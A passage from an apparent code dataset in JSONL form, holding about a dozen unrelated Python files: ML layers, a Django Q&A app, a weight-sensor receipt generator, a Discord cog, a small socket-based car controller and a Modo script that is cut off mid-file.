[\"MarlinTrkTracksMCTruthLink\"]\npandoralg.KinkVertexCollections = [\"KinkVertices\"]\npandoralg.ProngVertexCollections= [\"ProngVertices\"]\npandoralg.SplitVertexCollections= [\"SplitVertices\"]\npandoralg.V0VertexCollections = [\"V0Vertices\"]\npandoralg.ECalToMipCalibration = 160.0 \npandoralg.HCalToMipCalibration = 34.8 \npandoralg.ECalMipThreshold = 0.5 \npandoralg.HCalMipThreshold = 0.3 \npandoralg.ECalToEMGeVCalibration= 0.9 #for G2CD Digi, 1.007 for NewLDCaloDigi \npandoralg.HCalToEMGeVCalibration= 1.007 \npandoralg.ECalToHadGeVCalibrationBarrel= 1.12 #very small effect \npandoralg.ECalToHadGeVCalibrationEndCap= 1.12 \npandoralg.HCalToHadGeVCalibration= 1.07\npandoralg.MuonToMipCalibration= 10.0 \npandoralg.DigitalMuonHits= 0 \npandoralg.MaxHCalHitHadronicEnergy = 1.0 \npandoralg.UseOldTrackStateCalculation= 0 \npandoralg.AbsorberRadLengthECal= 0.2854 \npandoralg.AbsorberIntLengthECal= 0.0101 \npandoralg.AbsorberRadLengthHCal= 0.0569 \npandoralg.AbsorberIntLengthHCal= 0.006 \npandoralg.AbsorberRadLengthOther= 0.0569\npandoralg.AbsorberIntLengthOther= 0.006 \n\n##############################################################################\n\n# write PODIO file\nfrom Configurables import PodioOutput\nwrite = PodioOutput(\"write\")\nwrite.filename = \"test.root\"\nwrite.outputCommands = [\"keep *\"]\n\n# ApplicationMgr\nfrom Configurables import ApplicationMgr\nApplicationMgr(\n #TopAlg = [read, pandoralg, write],\n TopAlg = [read, pandoralg],\n EvtSel = 'NONE',\n EvtMax = 10,\n ExtSvc = [dsvc, gearSvc],\n OutputLevel=INFO\n)\n","sub_path":"Examples/options/LCIO_read_pan.py","file_name":"LCIO_read_pan.py","file_ext":"py","file_size_in_byte":5802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"352035126","text":"import tensorflow as tf\nimport keras as K\n\n\nclass GlobalExpectationPooling1D(K.layers.Layer):\n \"\"\"Global Expect pooling operation for temporal data.\n # Arguments\n data_format: A string,\n one of `channels_last` (default) or `channels_first`.\n The ordering of the dimensions in the inputs.\n `channels_last` corresponds to inputs with shape\n `(batch, steps, features)` while `channels_first`\n corresponds to inputs with shape\n `(batch, features, steps)`.\n mode: int\n m_trainable: A boolean variable,\n if m_trainable == True, the base will be trainable,\n else the base will be a constant\n m_value: A integer,\n the value of the base to calculate the prob\n # Input shape\n `(batch_size, steps, features,)`\n # Output shape\n 2D tensor with shape:\n `(batch_size, features)`\n \"\"\"\n\n def __init__(self, mode=0, m_trainable=False, m_value=1, **kwargs):\n super(GlobalExpectationPooling1D, self).__init__(**kwargs)\n self.m_value = m_value\n self.mode = mode\n self.m_trainable = m_trainable\n\n def compute_output_shape(self, input_shape):\n return input_shape[0], input_shape[2]\n\n def call(self, x, **kwargs):\n if self.mode == 0:\n # transform the input\n now = tf.transpose(x, [0, 2, 1])\n # x = x - max(x)\n diff_1 = tf.subtract(now, tf.reduce_max(now, axis=-1, keep_dims=True))\n # x = mx\n diff = tf.multiply(diff_1, self.m)\n # prob = exp(x_i)/sum(exp(x_j))\n prob = tf.nn.softmax(diff)\n # Expectation = sum(Prob*x)\n expectation = tf.reduce_sum(tf.multiply(now, prob), axis=-1, keep_dims=False)\n else:\n # transform the input\n now = tf.transpose(x, [0, 2, 1])\n # x - mean(x)\n now_diff = tf.subtract(now, tf.reduce_mean(now, axis=-1, keep_dims=True))\n # x = mx\n now_diff_m = tf.multiply(now_diff, self.m)\n # sgn(x)\n sgn_now = tf.sign(now_diff_m)\n # exp(x - mean) * sgn(x - mean(x)) + exp(x - mean(x))\n diff_2 = tf.add(tf.multiply(sgn_now, tf.exp(now_diff_m)), tf.exp(now_diff_m))\n # x = x/2\n diff_now = tf.div(diff_2, 2)\n # Prob = exp(x) / sum(exp(x))\n prob = diff_now / tf.reduce_sum(diff_now, axis=-1, keep_dims=True)\n expectation = tf.reduce_sum(tf.multiply(now, prob), axis=-1, keep_dims=False)\n return expectation\n\n def get_config(self):\n base_config = super(GlobalExpectationPooling1D, self).get_config()\n return dict(list(base_config.items()))\n\n def build(self, input_shape):\n if self.m_trainable:\n self.m = self.add_weight(name='m',\n shape=(1, 1),\n initializer=K.initializers.Constant(value=self.m_value),\n trainable=True)\n else:\n self.m = self.add_weight(name='m',\n shape=(1, 1),\n initializer=K.initializers.Constant(value=self.m_value),\n trainable=False)\n super(GlobalExpectationPooling1D, self).build(input_shape)\n\n\nif __name__ == '__main__':\n pass\n","sub_path":"code/model/ePooling.py","file_name":"ePooling.py","file_ext":"py","file_size_in_byte":3503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"258758335","text":"import sys\nimport socket\nimport time\n\nsocketCar = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsocketCar.connect((\"192.168.0.101\", 9000))\nprint(\"connected\")\n\ncmd=\"U\"\ni=0\nwhile True:\n try:\n i+=1\n print(i, cmd)\n socketCar.send((cmd+\"\\n\").encode())\n time.sleep(.05)\n # if i > 100: break\n except KeyboardInterrupt:\n break\nsocketCar.close()\n","sub_path":"src/main/python/send_cmds.py","file_name":"send_cmds.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"466982791","text":"from selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\n\nfrom .WebDriverContainer import WebDriverContainer\n\n\nclass HomePageModel(WebDriverContainer):\n __page_container_selector = (By.CLASS_NAME, \"navigation\")\n __link_selector = (By.CSS_SELECTOR, \"li.level0.ui-menu-item > a\")\n\n def __init__(self, driver):\n super().__init__(driver)\n\n @property\n def section_links(self):\n page_container = self.try_find_element(\n self.__page_container_selector, 20)\n\n links = self.try_find_elements_of(\n page_container, self.__link_selector, 20)\n\n return links\n\n\nclass HomePage(WebDriverContainer):\n def __init__(self, driver):\n super().__init__(driver)\n self.__page__ = HomePageModel(driver)\n\n @property\n def section_links(self):\n \"\"\"will return link web elements of sections.\"\"\"\n return self.__page__.section_links\n","sub_path":"src/models/HomePage.py","file_name":"HomePage.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"295936955","text":"from ..object import Trait\n\ndef Parameter(name, attribute=None, type=object, required=False, default=None):\n\n class Parameter(Trait):\n\n def __init__(self, *args, **kwargs):\n param = kwargs.get(name)\n classname = __builtins__['type'](self).__name__\n\n try:\n _type = tuple(type)\n except TypeError:\n _type = (type, )\n\n if param is None and required:\n raise ValueError(\"Parameter {} is required to instantiate {}\".format(name, classname))\n elif param is None:\n setattr(self, attribute or name, default or param)\n else:\n if not isinstance(param, _type):\n param_type = __builtins__['type'](param).__name__\n ok_params = \" or \".join(t.__name__ for t in _type)\n raise TypeError(\"Parameter {} must be of type {},\"\n \" not {}\".format(name, ok_params, param_type))\n setattr(self, attribute or name, param)\n\n Parameter.__qualname__ = Parameter.__name__\n return Parameter\n","sub_path":"abstraits/trait/parameter.py","file_name":"parameter.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"479681348","text":"import queue\nimport numpy as np\nimport time\nfrom collections import defaultdict\nimport json\n#from cvs_data_read import csv_file_read as cfr\n#from cvs_data_read import ground_truth_read as gtr\n\nfrom weight_sensor import WeightSensor\nfrom weight_sensor import weight_based_item_estimate\n\nimport sys\nimport logging\n\nfrom clients import (\n CpsMongoClient,\n CpsApiClient,\n TestCaseClient,\n)\nfrom cli import parse_configs\nfrom log import setup_logger\n\n\nlogger = logging.getLogger(__name__) # pylint: disable=invalid-name\n\n\ndef main(args=None):\n args = parse_configs(args)\n setup_logger(args.log_level)\n mongo_client = CpsMongoClient(args.db_address)\n api_client = CpsApiClient()\n test_client = TestCaseClient(mongo_client, api_client)\n #test_client.load(f\"{args.command}-{args.sample}\")\n logger.info(f\"Available Test Cases are {test_client.available_test_cases}\")\n test_client.set_context(args.command, load=False)\n generate_receipts(test_client)\n\ndef load_product_locations(test_client,Weight_sensor_number):\n productList = test_client.list_products()\n out_sensor_product_info = []\n weight_sensor_info = [[] for jj in range(Weight_sensor_number)]\n for aProduct in productList:\n item_info = [(aProduct.product_id.barcode, aProduct.name), aProduct.weight, aProduct.price]\n allFacings = test_client.find_product_facings(aProduct.product_id)\n if len(allFacings) == 0:\n out_sensor_product_info.append(item_info)\n continue\n for aFacing in allFacings:\n for plateLoc in aFacing.plate_ids:\n sensor_number = (plateLoc.gondola_id - 1) * 6 * 12 + (plateLoc.shelf_index- 1) * 12 + plateLoc.plate_index -1\n weight_sensor_info[sensor_number].append(item_info)\n return weight_sensor_info, out_sensor_product_info\n\ndef get_sensor_batch(test_client, start_time, batch_length, Weight_sensor_number):\n if start_time <= 0:\n # the first time, we don't know when the timestamps start, so let's find out\n first_data = test_client.find_first_after_time(\"plate_data\",0.0)[0]\n start_time = first_data.timestamp\n\n batch_data = test_client.find_all_between_time(\"plate_data\", start_time, start_time+batch_length)\n if len(batch_data) == 0:\n return None, -1\n weight_update_data = [np.empty((0,2)) for jj in range(Weight_sensor_number)]\n currentTime = start_time\n for rawData in batch_data:\n currentTime = rawData.timestamp\n startShelf = rawData.plate_id.shelf_index\n startPlate = rawData.plate_id.plate_index\n gondolaId = rawData.plate_id.gondola_id\n dataSize = rawData.data.shape\n nSamples = dataSize[0]\n nShelves = dataSize[1]\n nPlates = dataSize[2]\n ts = np.array(range(nSamples))*(1.0/60) + currentTime # the timestamps in this packet\n ts = ts.reshape((nSamples,1))\n for jj in range(nShelves):\n for kk in range(nPlates):\n weightData = (rawData.data[:,jj,kk]).reshape(nSamples,1)\n if not(np.isnan(weightData).all()):\n sensor_number = (gondolaId - 1) * 6 * 12 + (startShelf+jj- 1) * 12 + startShelf + kk -1\n updateData = np.hstack((ts,weightData))\n prevData = weight_update_data[sensor_number]\n \n weight_update_data[sensor_number] = np.vstack((prevData, updateData))\n\n return weight_update_data, currentTime \n \ndef generate_receipts(test_client):\n Weight_sensor_number = 360\n \n detected_weight_event_queue = [queue.Queue(0) for kk in\n range(Weight_sensor_number)] # event sotor queue of each sensor\n total_detected_queue = queue.Queue(0) # number changed_weight timestamp #total queue of detected event\n merged_detected_queue = queue.Queue(0)\n\n #ground truth data read\n sensor_info, out_info = load_product_locations(test_client, Weight_sensor_number)\n\n\n weight_sensor_list = [WeightSensor(jj, {'1':[10,10,2]}, np.array([]), np.array([])) for jj in range(Weight_sensor_number)]\n \n receipts = defaultdict(list)\n buffer_info = []\n pre_timestamp = 0\n pre_system_time = time.time()\n moreData, next_time = get_sensor_batch(test_client, -1, 1.0, Weight_sensor_number)\n while moreData is not None:\n for sensor_number in range(Weight_sensor_number):\n update_data = moreData[sensor_number]\n if update_data.shape[0] == 0:\n continue # no data loaded from the batch\n update_wv = update_data[:,1]\n update_ts = update_data[:,0]\n weight_sensor_list[sensor_number].value_update(total_detected_queue, detected_weight_event_queue, update_wv, update_ts)\n #time.sleep(0.1)\n\n logger.debug(\"Detected {} events\".format(total_detected_queue.qsize()))\n\n while not total_detected_queue.empty():\n tmp_info = total_detected_queue.get()\n tmp_timestamp = tmp_info[2]\n \n new_event = False\n if abs(pre_timestamp - tmp_timestamp) > 2:\n new_event = True\n if new_event:\n if len(buffer_info) > 0:\n merged_detected_queue.put(buffer_info)\n buffer_info = []\n if len(buffer_info) < 1:\n pre_system_time = time.time()\n buffer_info.append(tmp_info)\n pre_timestamp = tmp_timestamp\n #total_detected_queue.task_done()\n \n now_time = time.time()\n \n if now_time - pre_system_time > 1:\n if len(buffer_info)>0:\n #print(now_time - pre_system_time)\n merged_detected_queue.put(buffer_info)\n buffer_info = []\n pre_system_time = time.time()\n \n while not merged_detected_queue.empty():\n detected_event = merged_detected_queue.get()\n\n logger.debug(detected_event)\n sensor_number_list =[]\n total_changed_weight = 0\n event_timestamp =0\n for kk in range(len(detected_event)):\n sub_event = detected_event[kk]\n sensor_number_list.append(sub_event[0])\n total_changed_weight = total_changed_weight + sub_event[1]\n event_timestamp = sub_event[2]\n \n item_fin_name, item_fin_number, item_fin_price = weight_based_item_estimate(sensor_number_list, total_changed_weight, sensor_info, out_info)\n weight_based_item_info =[event_timestamp, item_fin_name, item_fin_number, item_fin_price]\n logger.debug(weight_based_item_info)\n # who is in the store?\n try:\n target_list = test_client.find_first_after_time(\"full_targets\", event_timestamp)\n except KeyError:\n logger.error(\"Could not load targets at time={}\".format(event_timestamp))\n else:\n if target_list is None:\n logger.error(\"No targets in database\")\n elif len(target_list) > 0:\n target_list = target_list[0]\n logger.debug(\"There are {} people in the store\".format(len(target_list.targets)))\n chosen = target_list.targets[0].target_id\n receipts[chosen].append(item_fin_name[0])\n \n #merged_detected_queue.task_done()\n moreData,next_time = get_sensor_batch(test_client, next_time, 0.5, Weight_sensor_number)\n printout_receipts(test_client, receipts,'BASELINE-1.json')\n\ndef printout_receipts(test_client, receipts, receiptFile):\n logger.warn(receipts)\n with open(receiptFile, 'w') as outFile:\n json.dump(receipts, outFile)\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"cpsdriver/old_main.py","file_name":"old_main.py","file_ext":"py","file_size_in_byte":8066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"641556095","text":"import timm\n\nimport torch\nimport torch.nn as nn\n\n\nfrom dadeit.ingredient import Block\nfrom dadeit.utils import register_value\n\n\nclass DADeiT(nn.Module):\n def __init__(self, pretrained, patch_size=16, embed_dim=768, depth=12, num_heads=12):\n super().__init__()\n\n self.cls_token = pretrained.cls_token\n self.dist_token = pretrained.dist_token\n self.pos_embed = pretrained.pos_embed\n\n self.patch_embed = pretrained._modules[\"patch_embed\"]\n self.pos_drop = pretrained._modules[\"pos_drop\"]\n blocks = pretrained._modules[\"blocks\"]\n\n self.blocks = nn.Sequential(\n Block(blocks[0], 0),\n Block(blocks[1], 1),\n Block(blocks[2], 2),\n Block(blocks[3], 3),\n Block(blocks[4], 4),\n Block(blocks[5], 5),\n Block(blocks[6], 6),\n Block(blocks[7], 7),\n Block(blocks[8], 8),\n Block(blocks[9], 9),\n Block(blocks[10], 10),\n Block(blocks[11], 11),\n )\n\n self.norm = pretrained._modules[\"norm\"]\n self.pre_logits = pretrained._modules[\"pre_logits\"]\n self.head = pretrained._modules[\"head\"]\n\n self.head_dist = pretrained._modules[\"head_dist\"]\n\n def forward_debug(self, x, features_dict=None):\n x = self.patch_embed(x)\n\n register_value(\"patch_embed\", x.clone().detach(), features_dict)\n\n cls_token = self.cls_token.expand(x.shape[0], -1, -1) # stole cls_tokens impl from Phil Wang, thanks\n x = torch.cat((cls_token, self.dist_token.expand(x.shape[0], -1, -1), x), dim=1)\n\n x = self.pos_drop(x + self.pos_embed)\n\n register_value(\"concat+pos_embed\", x.clone().detach(), features_dict)\n\n if features_dict is not None:\n x, features_dict = self.blocks((x, features_dict))\n x = self.norm(x)\n else:\n x = self.blocks(x)\n x = self.norm(x)\n\n register_value(\"blocks\", x.clone().detach(), features_dict)\n\n x = x[:, 0], x[:, 1]\n\n register_value(\"cls_feature\", x[0].clone().detach(), features_dict)\n\n register_value(\"dist_feature\", x[1].clone().detach(), features_dict)\n\n x, x_dist = self.head(x[0]), self.head_dist(x[1]) # x must be a tuple\n\n if features_dict is not None:\n return (x + x_dist) / 2, features_dict\n else:\n return (x + x_dist) / 2\n\n\n def forward(self, x, features_dict=None):\n x = self.patch_embed(x)\n # if features_dict is not None:\n # features_dict[\"patch_embed\"].append(x.clone().detach())\n\n register_value(\"patches\", x.clone(), features_dict)\n\n cls_token = self.cls_token.expand(x.shape[0], -1, -1) # stole cls_tokens impl from Phil Wang, thanks\n x = torch.cat((cls_token, self.dist_token.expand(x.shape[0], -1, -1), x), dim=1)\n\n x = self.pos_drop(x + self.pos_embed)\n\n # if features_dict is not None:\n # features_dict[\"concat+pos_embed\"].append(x.clone().detach())\n\n if features_dict is not None:\n x, features_dict = self.blocks((x, features_dict))\n x = self.norm(x)\n else:\n x = self.blocks(x)\n x = self.norm(x)\n\n # if features_dict is not None:\n # features_dict[\"blocks\"].append(x.clone().detach())\n\n x = x[:, 0], x[:, 1]\n\n # if features_dict is not None:\n # features_dict[\"cls_feature\"].append(x[0].clone().detach())\n\n # if features_dict is not None:\n # features_dict[\"dist_feature\"].append(x[1].clone().detach())\n\n x, x_dist = self.head(x[0]), self.head_dist(x[1]) # x must be a tuple\n\n if features_dict is not None:\n return (x + x_dist) / 2, features_dict\n else:\n return (x + x_dist) / 2\n","sub_path":"dadeit/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":3809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"117935757","text":"from django.conf.urls import patterns, url\nfrom volunteer import views\n\nurlpatterns = patterns('',\n url(r'^create/$', views.create, name='create'),\n url(r'^delete/(?P\\d+)/$', views.delete, name='delete'),\n url(r'^delete_resume/(?P\\d+)/$', views.delete_resume, name='delete_resume'),\n url(r'^download_resume/(?P\\d+)/$', views.download_resume, name='download_resume'),\n url(r'^edit/(?P\\d+)/$', views.edit, name='edit'),\n url(r'^general_report/$', views.general_report, name='general_report'),\n url(r'^individual_report/(?P\\d+)$', views.individual_report, name='individual_report'),\n url(r'^list/$', views.list, name='list'),\n url(r'^options/$', views.options, name='options'),\n url(r'^profile/(?P\\d+)/$', views.profile , name='profile'),\n url(r'^search/$', views.search, name='search'),\n)\n","sub_path":"vms/volunteer/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"339977375","text":"from django.shortcuts import render, get_object_or_404\nfrom django.shortcuts import HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Topic\nfrom question.models import Question\nfrom django.db.models import Count\n\nMAX_TOPICS = 10\n\n\n@login_required\ndef FindTopic(request, topic_name):\n topics = Topic.objects.filter(name__icontains=topic_name)\n if not topics:\n return HttpResponse(\"No topic matching\")\n topic_response = ''\n for topic in topics:\n topic_response += '' + topic.name + '
'\n return HttpResponse(topic_response)\n\n\n@login_required\ndef ShowTopic(request, topic_url):\n topic = get_object_or_404(Topic, url=topic_url)\n questions = topic.topic_questions.all().order_by('-time')\n topic_followers = topic.followers.all()\n\n following = False\n if request.user in topic_followers:\n following = True\n follow_count = len(topic_followers)\n\n return render(request, 'topic/topic.html', {'topic': topic,\n 'questions': questions,\n 'following': following,\n 'follow_count': follow_count})\n\n\n@login_required\ndef FollowTopic(request, topic_url):\n topic = get_object_or_404(Topic, url=topic_url)\n topic.followers.add(request.user)\n return HttpResponse(topic.followers.count())\n\n\n@login_required\ndef UnfollowTopic(request, topic_url):\n topic = get_object_or_404(Topic, url=topic_url)\n topic.followers.remove(request.user)\n return HttpResponse(topic.followers.count())\n\n\n@login_required\ndef ShowAllTopics(request):\n topics = Topic.objects.annotate(\n follower_count=Count('followers')).order_by('-follower_count')\n return render(request, 'topic/browse_topics.html', {'topics': topics})\n","sub_path":"topic/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"341329557","text":"from lib.vision_api_utils import VisionAPIUtils\nfrom lib.isolate_rects import IsolateRects\nfrom lib.img_anno_manage import ImgAnnoManage\nimport cv2\nimport os\nimport tkinter\nimport tkinter.filedialog\n\niam = ImgAnnoManage()\niso = IsolateRects(debug=False, init_show=False)\nvau = VisionAPIUtils(debug=False)\n\n\ndef proc(image_path):\n if os.path.splitext(image_path)[1].lower() not in [\".jpg\", \".png\"]:\n print(\"\\nno correct file type.\")\n\n else:\n print(\"\\nfile name: \", image_path)\n print(\"processing ...\")\n\n img = iam.load_image(image_path)\n if img is None:\n print(\"can not read image file{}\".format(image_path))\n return\n\n ###\n splits = iso.isolate(img=img)\n\n if splits is not None:\n for i in range(len(splits)):\n sp = splits[i]\n print(\"== {}\".format(i))\n\n ###\n value = vau.get_values(split=sp, sp_id=i)\n\n if 'current' in value.keys():\n print(\"current: value: {}, level: {}\".format(value['current']['value'], value['current']['level']))\n if 'potential' in value.keys():\n print(\"potential: value: {}, level: {}\".format(value['potential']['value'], value['potential']['level']))\n\n cv2.imshow(\"img\", img)\n cv2.waitKey(0)\n\n\ndef main():\n while True:\n tk = tkinter.Tk()\n tk.withdraw()\n select_file = (tkinter.filedialog.askopenfile(initialdir='.', title='select a image file'))\n if select_file is not None:\n image_path = select_file.name\n proc(image_path=image_path)\n tk.update()\n tk.destroy()\n\n\ndef test(folder):\n fns = [fn for fn in os.listdir(folder) if os.path.splitext(fn)[1].lower() in [\".jpg\", \".png\"]]\n fns.sort()\n\n find_flag = False\n for fn in fns:\n if fn == \"15194_101995033431_EPCGRAPH_01_0000.jpg\":\n find_flag = True\n\n if not find_flag:\n continue\n\n path = os.path.join\n proc(image_path=os.path.join(folder, fn))\n\n\nif __name__ == '__main__':\n main()\n # test(\"./data/images\")\n # proc(image_path=\"./data/images/99943.jpg\")\n","sub_path":"endpoints.py","file_name":"endpoints.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"168838800","text":"from app import db\nfrom app.models import Post\nfrom app.posts.forms import PostForm\n\nfrom flask import (abort, Blueprint, flash, redirect, render_template,\n request, url_for)\n\nfrom flask_login import current_user, login_required\n\n# -----------------------------------------------------------------------------\n# Init posts\n\nposts = Blueprint('posts', __name__)\n\n# -----------------------------------------------------------------------------\n# Post : Delete\n\n@posts.route(\"/post//delete\", \n methods = ['POST'])\n\n@login_required\n\ndef delete_post(post_id):\n post = Post.query.get_or_404(post_id)\n\n if post.author != current_user:\n abort(403)\n\n db.session.delete(post)\n db.session.commit()\n\n flash('Your post has been deleted !', \n 'success')\n\n return redirect(url_for('main.home'))\n\n# -----------------------------------------------------------------------------\n# Post : Edit\n\n@posts.route(\"/post//update\", \n methods = ['GET', 'POST'])\n\n@login_required\n\ndef update_post(post_id):\n post = Post.query.get_or_404(post_id)\n\n if post.author != current_user:\n abort(403)\n\n form = PostForm()\n\n if form.validate_on_submit():\n post.title = form.title.data\n post.content = form.content.data\n\n db.session.commit()\n\n flash('Your post has been updated!', \n 'success')\n\n return redirect(url_for('posts.post', post_id = post.id))\n\n elif request.method == 'GET':\n form.title.data = post.title\n form.content.data = post.content\n\n return render_template('new_post.html', \n title = 'Update Post',\n legend = 'Update Post',\n form = form )\n\n# -----------------------------------------------------------------------------\n# Post : Get ID\n\n@posts.route(\"/post/\")\n\ndef post(post_id):\n post = Post.query.get_or_404(post_id)\n\n return render_template('post.html',\n title = post.title,\n post = post)\n\n# -----------------------------------------------------------------------------\n# Post : New\n\n@posts.route(\"/post/new\",\n methods = ['GET', 'POST'])\n\n@login_required\n\ndef new_post():\n form = PostForm()\n\n if form.validate_on_submit():\n post = Post(title = form.title.data,\n content = form.content.data,\n author = current_user)\n\n db.session.add(post)\n db.session.commit()\n\n flash('Your post has been created !',\n 'success')\n \n return redirect(url_for('main.home'))\n\n return render_template('new_post.html', \n title = 'New Post',\n legend = 'New Post',\n form = form)","sub_path":"Flask App/Blog/app/posts/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"196726886","text":"from discodb import DiscoDB\nfrom bitdeli.model import model\n\nMAX_LEN = 64\n\n@model\ndef build(profiles):\n keys = set()\n for profile in profiles:\n uid = profile.uid\n if not uid:\n continue\n fields = set()\n for tstamp, group, ip, event in profile['events']:\n e = 'e:%s' % event.pop('$event_name').encode('utf-8')\n keys.add(e)\n fields.add(e)\n for prop_name, prop_value in event.iteritems():\n p = prop_name.encode('utf-8')\n keys.add('p:%s' % p)\n fields.add('%s:%s' % (p, str(prop_value)[:MAX_LEN].encode('utf-8')))\n for field in fields:\n yield field, uid\n for key in keys:\n yield ' ', key\n","sub_path":"jsapi/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"428057255","text":"import discord\nfrom discord.ext import commands\n\nimport random\n\n\nclass Random:\n \"\"\"Commands which are based on RNG's.\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command(name='choose', aliases=['select'])\n async def _choose(self, ctx, *args):\n \"\"\"Make Myst choose between two or more things.\"\"\"\n\n choice = random.choice(args)\n await ctx.send(f'**`{choice}`**')\n\n @commands.command(name='roll')\n async def roll_dice(self, ctx, first: int, second: int):\n \"\"\"Returns a number between two selected numbers.\"\"\"\n\n rolled = random.randint(first, second)\n await ctx.send(f'{ctx.author.mention} rolled: **`{rolled}`**')\n\n\ndef setup(bot):\n bot.add_cog(Random(bot))\n","sub_path":"cogs/random.py","file_name":"random.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"95768796","text":"# -*- coding: utf-8 -*-\ndef custom_bin(num, sz = 5):\n return bin(num)[2:].rjust(sz, '0')\n\ndef dnf(bits):\n x1, x2, x3, x4, x5 = tuple(map(bool, map(int, custom_bin(bits))))\n z1 = not x1 and not x3\n z2 = x1 and x3\n z3 = x1 and not x2\n z4 = not x3 and x4\n z5 = x2 and x3\n z6 = not x4 and not x5\n u1 = z3 and z4\n u2 = z1 and not x4\n u3 = z1 and x2\n u4 = z2 and not x4\n u5 = z2 and x2\n u6 = z5 and z6\n u7 = z1 and not x5\n u8 = z2 and not x5\n v3 = u1 or u2\n v4 = u3 or u4\n v5 = u5 or u6\n v6 = u7 or u8\n v1 = v3 or v4\n v2 = v5 or v6\n f = v1 or v2\n return int(f)\n\ndef knf(bits):\n x1, x2, x3, x4, x5 = tuple(map(bool, map(int, custom_bin(bits))))\n z1 = x1 or not x3\n z3 = not x1 or x3\n z4 = not x4 or not x5\n z2 = x2 or z4\n u1 = x1 or z2\n u2 = not x3 or z2\n u3 = x4 or z3\n u4 = not x4 or z1\n u5 = not x2 or z3\n u6 = not x5 or z1\n u7 = x2 or z1\n v5 = u1 and u2\n v4 = u5 and u6\n v3 = u3 and v5\n v2 = u7 and v4\n v1 = u4 and v3\n f = v1 and v2\n return int(f)\n\nvar_count = 5\nbit_set = 0\ntable = {}\nprint(\"Таблица истинности исходной функции:\")\nfor _ in range(2**var_count):\n str_bs = custom_bin(bit_set) # Вектор переменных x1 - x5\n table[bit_set] = int(\n eval(\n '-2 <= ({0} - {1}) and ({0} - {1}) < 3'.format( # Условие -2 <=(x1x20-x3x4x5)<3\n int(str_bs[:2] + '0', 2), # Первое выражение x1x20\n int(str_bs[2:], 2) # Второе выражение x3x4x5\n )\n )\n )\n print(\n '| ' + ' | '.join(list(str_bs + str(table[bit_set]))) + ' |'\n )\n bit_set += 1\n\nprint(\"Таблица истинности схемы по ДНФ:\")\ntable_dnf = {}\nbit_set = 0\nfor _ in range(2**var_count):\n table_dnf[bit_set] = dnf(bit_set)\n print(\n '| ' + ' | '.join(list(custom_bin(bit_set) + str(table_dnf[bit_set]))) + ' |'\n )\n bit_set += 1\n \nprint(\"Таблица истинности схемы по КНФ:\")\ntable_knf = {}\nbit_set = 0\nfor _ in range(2**var_count):\n table_knf[bit_set] = knf(bit_set)\n print(\n '| ' + ' | '.join(list(custom_bin(bit_set) + str(table_knf[bit_set]))) + ' |'\n )\n bit_set += 1\n\nprint(\"Исходная и днф совпадают: \", table == table_dnf)\nprint(\"Исходная и кнф совпадают: \", table == table_knf)\n","sub_path":"TCA/lab1/report/source/lab1.py","file_name":"lab1.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"569253924","text":"#python\n\n# resize_selected_locators.py\n#\n# Version 1.2 - By Cristobal Vila, 2013 - With the help of other members from Luxology Forums :-)\n# Special thanks to MonkeybrotherJR\n#\n# To give a custom size to all channels in a selected Locators,\n# no matter the kind of Locators and if there are some channels greyed\n#\n# www.etereaestudios.com\n\nimport lx\n\ntry:\n\n scene_svc = lx.Service(\"sceneservice\")\n\n # Define my argument:\n mysize = float(lx.args()[0])\n\n # get selected layers\n selected_layers = lx.evalN(\"query sceneservice selection ? all\")\n\n # drop selection so that we can work on one item at a time\n lx.eval(\"select.drop item\")\n\n # create empty list to put locators in\n locators = []\n\n for item in selected_layers:\n\n # select layer\n scene_svc.select(\"item\",str(item))\n lx.eval('select.item {%s} set' % item)\n\n # get item type\n itemType = scene_svc.query(\"item.type\")\n\n if itemType == 'locator':\n\n locators.append(item)\n\n # Ask if our locator has a default or custom shape:\n lx.eval('item.channel locator$drawShape ?')\n\n # This gives a result (default / custom)\n # Save that result into a variable:\n locatorShape = lx.eval1('item.channel locator$drawShape ?')\n\n if locatorShape == 'default':\n # Change size for standard default locator:\n lx.eval(\"item.channel locator$size \" +str(mysize))\n\n elif locatorShape == 'custom':\n # Ask which is actual shape:\n lx.eval(\"item.channel locator$isShape ?\")\n\n # This gives a result (box, pyramid, plane…)\n # Save that result into a variable:\n originalShape = lx.eval(\"item.channel locator$isShape ?\")\n\n # Change size for standard default locator:\n lx.eval(\"item.channel locator$size \" +str(mysize))\n\n # Set shape to Box:\n lx.eval(\"item.channel locator$isShape box\")\n\n # 